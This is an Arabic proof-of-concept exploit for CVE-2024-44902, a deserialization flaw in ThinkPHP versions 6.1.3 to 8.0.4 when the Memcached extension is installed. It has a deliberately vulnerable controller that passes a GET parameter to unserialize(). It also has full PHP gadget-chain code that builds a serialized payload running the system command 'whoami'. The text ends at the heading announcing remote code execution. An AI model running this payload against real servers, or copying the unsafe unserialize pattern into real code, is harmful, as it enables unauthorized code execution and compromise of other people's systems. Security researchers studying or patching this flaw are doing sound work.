
استغلال إثبات المفهوم لـ CVE-2024-44902، وهي ثغرة إلغاء التسلسل في ThinkPHP الإصدارات v6.1.3 إلى v8.0.4 تتيح تنفيذ التعليمات البرمجية عن بُعد عبر حمولات مصممة عند تثبيت ملحق Memcached.
تسمح ثغرة أمنية في إلغاء التسلسل (deserialization) في Thinkphp v6.1.3 إلى v8.0.4 للمهاجمين بتنفيذ تعليمات برمجية عشوائية.
Thinkphp v6.1.3 إلى v8.0.4
يجب أن يكون إطار العمل thinkphp مثبتًا عليه إضافة Memcached.
أولاً، أضف نقطة نهاية جديدة لإلغاء التسلسل في app\controller\Index.php، على سبيل المثال:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize($_GET['x']);
return '<style>*{ padding: 0; margin: 0; }</style>';
}
public function hello($name = 'ThinkPHP8')
{
return 'hello,' . $name;
}
}
يمكنك إنشاء الحمولة (payload) من:
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
protected $options=[];
function __construct()
{
$this->options["username"]=new Pivot();
}
}
namespace think\model;
use think\model;
class Pivot extends Model
{
}
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct()
{
$this->data["fru1ts"]=["whoami"];
$this->withAttr["fru1ts"]=["system"];
$this->json=["fru1ts"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered=false;
$this->resource=new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
$this->config["default"]="getRule";
}
}
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
استخدام الحمولة لإلغاء التسلسل يمكن أن يؤدي إلى تنفيذ تعليمات برمجية عن بعد (RCE):
